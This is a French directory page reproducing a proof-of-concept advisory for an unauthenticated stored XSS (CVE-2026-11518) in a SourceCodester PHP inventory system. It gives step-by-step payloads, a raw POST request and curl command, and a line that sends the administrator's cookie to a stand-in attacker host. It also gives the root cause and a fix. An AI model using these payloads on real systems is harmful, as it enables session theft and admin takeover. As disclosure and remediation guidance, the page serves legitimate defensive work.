Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-11518-XSS — Preuve de concept détaillée pour XSS stockée non authentifiée (CVE-2026-11518) dans le système d'inventaire SourceCodester, incluant le scénario d'attaque, l'analyse des causes profondes et les étapes de correction. | Kitploit
Outils/GitHubGitHub/xmyronn/cve-2026-11518-xss
Analyse des VulnérabilitésExploitation d'Applications WebSécurité WebCTFTests d'IntrusionApprentissage et Éducation
GitHubxmyronn/cve-2026-11518-xss

CVE-2026-11518-XSS

Preuve de concept détaillée pour XSS stockée non authentifiée (CVE-2026-11518) dans le système d'inventaire SourceCodester, incluant le scénario d'attaque, l'analyse des causes profondes et les étapes de correction.

Voir le dépôt
il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

XSS stocké dans un système d'inventaire utilisant PHP et MySQL

Détails de la vulnérabilité

ChampDétails
Type de vulnérabilitéCross-Site Scripting stocké (XSS)
Application concernéeSystème d'inventaire utilisant PHP et MySQL
FournisseurSourceCodester
Version concernée1.0
Fichier concernéregister.php
Paramètresfullname, username
Authentification requiseNon (non authentifié)
ImpactDétournement de session admin, exécution de scripts malveillants dans le panneau d'administration
Score CVSS8.8 (Élevé)
Vecteur CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Description

Le système d'inventaire utilisant PHP et MySQL de SourceCodester (soumis le 23 mai 2026) est vulnérable à un Cross-Site Scripting stocké non authentifié (XSS) dans le module d'enregistrement du personnel (register.php).

Les champs de saisie fullname et username ne parviennent pas à nettoyer ou encoder les entrées fournies par l'utilisateur avant de les stocker dans la base de données. Lorsqu'un administrateur visite la page Gestion des utilisateurs (users.php), les charges utiles non nettoyées sont rendues directement dans le contexte HTML, provoquant l'exécution immédiate de JavaScript dans la session du navigateur de l'administrateur.

Comme l'enregistrement ne nécessite aucune authentification, un attaquant distant non authentifié peut injecter du JavaScript arbitraire qui s'exécutera dans le contexte de tout administrateur consultant le panneau de gestion des utilisateurs.


Scénario d'attaque

  1. L'attaquant visite /product_inventory/register.php — aucune connexion requise.
  2. L'attaquant soumet une charge utile malveillante dans les champs fullname et/ou username.
  3. La charge utile est stockée dans la base de données sans nettoyage.
  4. Lorsque l'administrateur se connecte et navigue vers /product_inventory/users.php, la charge utile s'exécute automatiquement dans le navigateur de l'administrateur.
  5. L'attaquant peut voler le cookie de session de l'administrateur, rediriger l'administrateur vers une page de phishing, ou effectuer toute action au nom de l'administrateur.

Preuve de concept

Étape 1 — Accéder à la page d'enregistrement (aucune authentification requise)

root@kitploit:~
http://<TARGET>/product_inventory/register.php

Étape 2 — Soumettre le formulaire d'enregistrement suivant

Charge utile du champ Nom complet :

root@kitploit:~
<script>alert(1)</script>

Charge utile du champ Nom d'utilisateur :

root@kitploit:~
<script>alert(2)</script>

Mot de passe : toute valeur (par exemple test1234)

Étape 3 — Requête HTTP (Burp Suite / curl)

root@kitploit:~
POST /product_inventory/register.php HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded

fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit=

Équivalent curl :

root@kitploit:~
curl -X POST "http://<TARGET>/product_inventory/register.php" \
  -d "fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit="

Étape 4 — Déclencher en tant qu'administrateur

Connectez-vous en tant qu'administrateur et naviguez vers :

root@kitploit:~
http://<TARGET>/product_inventory/users.php

Les deux charges utiles s'exécutent immédiatement au chargement de la page.


Impact

Un attaquant non authentifié peut :

  • Voler les cookies de session de l'administrateur — escalade vers la prise de contrôle complète du compte administrateur
  • Rediriger l'administrateur vers des pages de phishing
  • Effectuer des actions de niveau administrateur silencieusement via JavaScript (créer/supprimer des utilisateurs, manipuler l'inventaire)
  • Déployer un enregistreur de frappe persistant dans le panneau d'administration
  • Défigurer l'interface d'administration

Exemple de charge utile pour le vol de cookie de session (remplacer par le serveur de l'attaquant) :

root@kitploit:~
<script>document.location='http://attaquant.com/vol?c='+document.cookie</script>

Captures d'écran

Étape 1 — Injection de charges utiles dans le formulaire d'enregistrement

Capture d'écran 2026-05-24 051430

Étape 2 — Le XSS se déclenche sur users.php de l'admin

Capture d'écran 2026-05-24 051452

Code affecté (Cause racine)

La vulnérabilité existe parce que register.php insère les entrées utilisateur directement dans la base de données sans nettoyage, et users.php affiche les valeurs stockées sans encodage htmlspecialchars().

Motif vulnérable dans users.php (approximatif) :

root@kitploit:~
// Unsafe — outputs raw database value directly into HTML
echo $row['fullname'];
echo $row['username'];

Correctif — appliquer l'encodage de sortie :

root@kitploit:~
echo htmlspecialchars($row['fullname'], ENT_QUOTES, 'UTF-8');
echo htmlspecialchars($row['username'], ENT_QUOTES, 'UTF-8');

De plus, les entrées doivent être nettoyées lors de l'insertion dans register.php à l'aide de strip_tags() ou de requêtes préparées avec une validation appropriée.


Remédiation

  1. Encoder toutes les sorties avec htmlspecialchars() avec ENT_QUOTES avant d'afficher les données fournies par l'utilisateur en HTML.
  2. Valider et nettoyer tous les champs de saisie côté serveur au point d'entrée.
  3. Implémenter un en-tête de politique de sécurité du contenu (CSP) pour atténuer l'impact XSS.

Références

  • [SourceCodester — Système d'inventaire utilisant PHP et MySQL](https://github.com/xmyronn/cve-2026-11518-xss/blob/HEAD/%5Bhttps:/www.sourcecodester.com/php/inventory-system-using-php-and-mysql-source-code%5D(https:/www.sourcecodester.com/php/18722/php-inventory-system.html)

Signalé par Syed Imad Uddin Alvi — Chercheur en sécurité indépendant

Télécharger l’outil